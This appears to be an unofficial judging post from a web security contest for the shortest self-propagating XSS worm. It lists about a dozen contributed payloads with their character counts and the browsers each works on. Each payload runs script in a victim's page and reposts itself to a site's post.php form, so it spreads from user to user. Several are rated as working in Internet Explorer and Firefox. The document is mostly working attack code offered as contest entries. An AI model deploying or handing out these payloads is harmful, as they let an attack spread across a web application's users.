Unofficial Jude Result:
Codes tested:
0.- ma1 (136) [requires user to focus a field]
<form><input name="content" onfocus="submit(action=(method='post')+'.php',value='<form>'+parentNode.innerHTML.slice(alert('xss'),132))">
1.- shawn (153) [doctype issues]
<form id=_><input name="content"><script>with(_)submit(action=(method='post')+'.php',_[0].value='<form id=_>'+innerHTML.slice(alert('XSS'),143))</script>
2.- ma1 (156) [doctype issues]
<form id=_><input name="content"><script>with(_)submit(action=(method='post')+'.php',content.value='<form id=_>'+innerHTML.slice(alert('XSS'),147))</script>
3.- sirdarckcat (158) [doctype issues]
<form id=z><INPUT name="content"><SCRIPT>with(z)alert('XSS',submit(action=(method='post')+'.php',content.value='<form id=z>'+innerHTML.slice(0,148)))</SCRIPT>
4.- bwb labs (168) [DOESNT WORK FOR APACHE NOR IIS]
<script>f=function(){alert("XSS");(x=new XMLHttpRequest).open("post","post.php");x.send("content="+encodeURIComponent("<script>f="+f+";f()</sc"+"ript>"));};f()</script>
5.- babarianbob (171)
<b><form id="f"><input name="content"><img src="" onerror="with(f)submit(alert('xss'),content.value=parentNode.innerHTML.bold(),action=(method='post')+'.php')"></form></b>
6.- .mario (178)
<b><img src="m" onerror="alert('xss');with(nextSibling)content.value=parentNode.innerHTML.bold(),submit()"><form method="post" action="post.php"><input name="content"></form></b>
7.- Gareth Heyes (229) [CAN BE REDUCED]
<script>(function(){alert('XSS');document.write('<form method=post action=post.php><input type=image onerror="form.submit()" src><input value='+escape('<script>('+arguments.callee+')()</scr'+'ipt>')+' name=content>')})()</script>
8.- Matt Presson (233) [CAN BE REDUCED]
<script>alert('XSS');a='<scr'+'ipt>'+arguments.callee+'()</scr'+'ipt>';document.write('<form method=post action=post.php name=f><input value='+encodeURI(a)+' name=content></form>');body.onload=function(){document.f.submit()}</script>
9.- digi7al64 (266) [CAN BE REDUCED]
<p id=e><script>alert('xss');var d=document;s='script>';p='<form method=post name=f action=post.php><input name=content value="+escape("<p id=e>"+d.getElementById(\'e\').innerHTML+"</p>")+"></form><'+s+'d.f.submit();</'+s;p='d.write("'+p+'");'; eval(p);</script></p>
A.- sirdarckcat (161)
<form><INPUT name="content"><IMG src="" onerror="with(parentNode)submit(action=(method='post')+'.php',content.value='<form>'+innerHTML.slice(alert('XSS'),155))">
B.- ma1 (163)
<form><INPUT name="content"><IMG src="" onerror="with(parentNode)alert('XSS',submit(action=(method='post')+'.php',content.value='<form>'+innerHTML.slice(0,157)))">
C.- ritz (167)
<form><input name="content" src="" onerror="alert('xss');p=form;p.action=(p.method='post')+'.php';type=value='<form>'+p.innerHTML.substr(0,161);submit()" type="image">
0(136).- 3 Works on: IE FF(1 and 2) [requires user interaction]
1(153).- 2 Works on: IE FF(2)
2(156).- 2 Works on: IE FF(2)
3(158).- 2 Works on: IE FF(2)
4(168).- 0 Works on: NONE
5(171).- 2 Works on: IE FF(2)
6(178).- 3 Works on: IE FF(1 and 2)
7(229).- 0 Works on: NONE, encoding error
8(233).- 0 Works on: NONE
9(266).- 0 Works on: NONE, encoding error
A(161).- 3 Works on: IE FF(1 and 2)
B(163).- 3 Works on: IE FF(1 and 2)
C(167).- 3 Works on: FF(1 and 2)
So according to the
unofficial judges the top are:
0(136).- 3 Works on: IE FF(1 and 2) [requires user interaction]
A(161).- 3 Works on: IE FF(1 and 2)
B(163).- 3 Works on: IE FF(1 and 2)
6(178).- 3 Works on: IE FF(1 and 2)
Because work with any doctype
and the top in the general case:
0(136).- 3 Works on: IE FF(1 and 2) [requires user interaction]
1(153).- 2 Works on: IE FF(2)
2(156).- 2 Works on: IE FF(2)
3(158).- 2 Works on: IE FF(2)
A(161).- 3 Works on: IE FF(1 and 2)
B(163).- 3 Works on: IE FF(1 and 2)
C(167).- 3 Works on: FF(1 and 2) **?
5(171).- 2 Works on: IE FF(2)
6(178).- 3 Works on: IE FF(1 and 2)
Just take in consideration that "0"(one of ma1's codes) requires user interaction.
So.. this is not official..
--------------------------------
[
sirdarckcat.blogspot.com] [
www.sirdarckcat.net] [
foro.elhacker.net] [
twitter.com]